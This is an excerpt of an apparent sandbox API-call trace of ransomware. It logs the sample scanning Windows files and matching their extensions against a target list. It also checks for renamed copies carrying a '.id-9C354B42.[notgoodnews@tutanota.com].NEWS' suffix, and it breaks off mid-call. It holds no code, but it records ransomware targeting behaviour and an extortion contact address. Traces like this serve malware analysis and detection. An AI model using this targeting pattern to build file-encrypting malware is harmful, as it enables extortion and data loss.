[0198.774] lstrlenW (lpString=".jpg") returned 4 [0198.774] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.775] lstrlenW (lpString=".doc") returned 4 [0198.775] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.775] lstrlenW (lpString=".docx") returned 5 [0198.775] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0198.775] lstrlenW (lpString=".pdf") returned 4 [0198.775] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.775] lstrlenW (lpString=".xls") returned 4 [0198.775] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.775] lstrlenW (lpString=".xlsx") returned 5 [0198.775] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0198.775] lstrlenW (lpString=".ppt") returned 4 [0198.776] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.776] lstrlenW (lpString=".zip") returned 4 [0198.776] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.776] lstrlenW (lpString=".rar") returned 4 [0198.776] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.776] lstrlenW (lpString=".bz2") returned 4 [0198.776] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.776] lstrlenW (lpString=".7z") returned 3 [0198.776] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.776] lstrlenW (lpString=".dbf") returned 4 [0198.777] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.777] lstrlenW (lpString=".1cd") returned 4 [0198.777] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.777] lstrlenW (lpString=".jpg") returned 4 [0198.777] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.778] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0198.778] lstrlenW (lpString="delete.avi") returned 10 [0198.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x27c [0199.468] GetFileSizeEx (in: hFile=0x27c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=224256) returned 1 [0199.468] CloseHandle (hObject=0x27c) returned 1 [0199.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0199.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0199.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0199.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0199.469] lstrlenW (lpString=".doc") returned 4 [0199.469] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0199.469] lstrlenW (lpString=".docx") returned 5 [0199.469] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0199.469] lstrlenW (lpString=".pdf") returned 4 [0199.469] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0199.469] lstrlenW (lpString=".xls") returned 4 [0199.469] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0199.469] lstrlenW (lpString=".xlsx") returned 5 [0199.469] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0199.469] lstrlenW (lpString=".ppt") returned 4 [0199.469] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0199.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0199.469] lstrlenW (lpString=".zip") returned 4 [0199.470] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0199.470] lstrlenW (lpString=".rar") returned 4 [0199.470] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0199.470] lstrlenW (lpString=".bz2") returned 4 [0199.470] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0199.470] lstrlenW (lpString=".7z") returned 3 [0199.470] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0199.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0199.470] lstrlenW (lpString=".dbf") returned 4 [0199.470] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0199.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0199.470] lstrlenW (lpString=".1cd") returned 4 [0199.470] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0199.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0199.471] lstrlenW (lpString=".jpg") returned 4 [0199.471] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0199.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0199.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0199.471] lstrlenW (lpString=".doc") returned 4 [0199.471] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0199.471] lstrlenW (lpString=".docx") returned 5 [0199.471] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0199.471] lstrlenW (lpString=".pdf") returned 4 [0199.472] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0199.472] lstrlenW (lpString=".xls") returned 4 [0199.472] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0199.472] lstrlenW (lpString=".xlsx") returned 5 [0199.472] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0199.472] lstrlenW (lpString=".ppt") returned 4 [0199.472] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0199.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0199.472] lstrlenW (lpString=".zip") returned 4 [0199.472] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0199.472] lstrlenW (lpString=".rar") returned 4 [0199.472] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0199.472] lstrlenW (lpString=".bz2") returned 4 [0199.472] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0199.473] lstrlenW (lpString=".7z") returned 3 [0199.473] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0199.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0199.473] lstrlenW (lpString=".dbf") returned 4 [0199.473] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0199.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0199.473] lstrlenW (lpString=".1cd") returned 4 [0199.473] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0199.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0199.473] lstrlenW (lpString=".jpg") returned 4 [0199.473] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0199.474] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0199.474] lstrlenW (lpString="ea.xml") returned 6 [0199.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0199.940] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=384) returned 1 [0199.940] CloseHandle (hObject=0x290) returned 1 [0199.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0199.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0199.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.941] lstrlenW (lpString=".doc") returned 4 [0199.941] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.941] lstrlenW (lpString=".docx") returned 5 [0199.942] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0199.942] lstrlenW (lpString=".pdf") returned 4 [0199.942] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.942] lstrlenW (lpString=".xls") returned 4 [0199.942] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.942] lstrlenW (lpString=".xlsx") returned 5 [0199.942] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0199.942] lstrlenW (lpString=".ppt") returned 4 [0199.942] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.942] lstrlenW (lpString=".zip") returned 4 [0199.943] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.943] lstrlenW (lpString=".rar") returned 4 [0199.943] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.943] lstrlenW (lpString=".bz2") returned 4 [0199.943] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.943] lstrlenW (lpString=".7z") returned 3 [0199.943] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.943] lstrlenW (lpString=".dbf") returned 4 [0199.943] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.943] lstrlenW (lpString=".1cd") returned 4 [0199.943] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.944] lstrlenW (lpString=".jpg") returned 4 [0199.944] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.944] lstrlenW (lpString=".doc") returned 4 [0199.944] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.944] lstrlenW (lpString=".docx") returned 5 [0199.944] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0199.944] lstrlenW (lpString=".pdf") returned 4 [0199.944] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.944] lstrlenW (lpString=".xls") returned 4 [0199.944] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.945] lstrlenW (lpString=".xlsx") returned 5 [0199.945] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0199.945] lstrlenW (lpString=".ppt") returned 4 [0199.945] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.945] lstrlenW (lpString=".zip") returned 4 [0199.945] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.945] lstrlenW (lpString=".rar") returned 4 [0199.945] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.945] lstrlenW (lpString=".bz2") returned 4 [0199.945] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.945] lstrlenW (lpString=".7z") returned 3 [0199.946] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.946] lstrlenW (lpString=".dbf") returned 4 [0199.946] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.946] lstrlenW (lpString=".1cd") returned 4 [0199.946] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.946] lstrlenW (lpString=".jpg") returned 4 [0199.946] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.947] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0199.947] lstrlenW (lpString="ja-jp.xml") returned 9 [0199.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0201.523] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=16616) returned 1 [0201.523] CloseHandle (hObject=0x28c) returned 1 [0201.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0201.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0201.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0201.525] lstrlenW (lpString=".doc") returned 4 [0201.525] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.525] lstrlenW (lpString=".docx") returned 5 [0201.525] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0201.525] lstrlenW (lpString=".pdf") returned 4 [0201.525] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.525] lstrlenW (lpString=".xls") returned 4 [0201.525] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.526] lstrlenW (lpString=".xlsx") returned 5 [0201.526] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0201.526] lstrlenW (lpString=".ppt") returned 4 [0201.526] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0201.526] lstrlenW (lpString=".zip") returned 4 [0201.526] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.526] lstrlenW (lpString=".rar") returned 4 [0201.526] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.526] lstrlenW (lpString=".bz2") returned 4 [0201.526] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.526] lstrlenW (lpString=".7z") returned 3 [0201.526] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0201.527] lstrlenW (lpString=".dbf") returned 4 [0201.527] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0201.527] lstrlenW (lpString=".1cd") returned 4 [0201.527] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0201.527] lstrlenW (lpString=".jpg") returned 4 [0201.527] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0201.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0201.527] lstrlenW (lpString=".doc") returned 4 [0201.527] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.528] lstrlenW (lpString=".docx") returned 5 [0201.528] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0201.528] lstrlenW (lpString=".pdf") returned 4 [0201.528] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.528] lstrlenW (lpString=".xls") returned 4 [0201.528] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.528] lstrlenW (lpString=".xlsx") returned 5 [0201.528] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0201.528] lstrlenW (lpString=".ppt") returned 4 [0201.528] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0201.529] lstrlenW (lpString=".zip") returned 4 [0201.529] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.529] lstrlenW (lpString=".rar") returned 4 [0201.529] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.529] lstrlenW (lpString=".bz2") returned 4 [0201.529] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.529] lstrlenW (lpString=".7z") returned 3 [0201.529] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0201.530] lstrlenW (lpString=".dbf") returned 4 [0201.530] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0201.530] lstrlenW (lpString=".1cd") returned 4 [0201.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0201.530] lstrlenW (lpString=".jpg") returned 4 [0201.530] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.536] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0201.536] lstrlenW (lpString="main.xml") returned 8 [0201.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0201.537] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=38485) returned 1 [0201.537] CloseHandle (hObject=0x28c) returned 1 [0201.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0201.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0201.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0201.539] lstrlenW (lpString=".doc") returned 4 [0201.539] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.539] lstrlenW (lpString=".docx") returned 5 [0201.539] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0201.540] lstrlenW (lpString=".pdf") returned 4 [0201.540] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.541] lstrlenW (lpString=".xls") returned 4 [0201.541] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.541] lstrlenW (lpString=".xlsx") returned 5 [0201.541] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0201.541] lstrlenW (lpString=".ppt") returned 4 [0201.541] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0201.541] lstrlenW (lpString=".zip") returned 4 [0201.542] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.542] lstrlenW (lpString=".rar") returned 4 [0201.542] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.542] lstrlenW (lpString=".bz2") returned 4 [0201.542] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.542] lstrlenW (lpString=".7z") returned 3 [0201.542] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0201.543] lstrlenW (lpString=".dbf") returned 4 [0201.543] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0201.543] lstrlenW (lpString=".1cd") returned 4 [0201.543] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0201.543] lstrlenW (lpString=".jpg") returned 4 [0201.543] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0201.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0201.544] lstrlenW (lpString=".doc") returned 4 [0201.544] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.544] lstrlenW (lpString=".docx") returned 5 [0201.544] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0201.544] lstrlenW (lpString=".pdf") returned 4 [0201.545] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.545] lstrlenW (lpString=".xls") returned 4 [0201.545] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.545] lstrlenW (lpString=".xlsx") returned 5 [0201.545] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0201.545] lstrlenW (lpString=".ppt") returned 4 [0201.545] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0201.545] lstrlenW (lpString=".zip") returned 4 [0201.545] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.546] lstrlenW (lpString=".rar") returned 4 [0201.546] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.546] lstrlenW (lpString=".bz2") returned 4 [0201.546] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.546] lstrlenW (lpString=".7z") returned 3 [0201.546] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0201.546] lstrlenW (lpString=".dbf") returned 4 [0201.546] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0201.546] lstrlenW (lpString=".1cd") returned 4 [0201.546] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0201.547] lstrlenW (lpString=".jpg") returned 4 [0201.547] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.547] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0201.547] lstrlenW (lpString="numbase.xml") returned 11 [0201.547] CreateFileW (lpFileName="C:\\Program Files\\Common 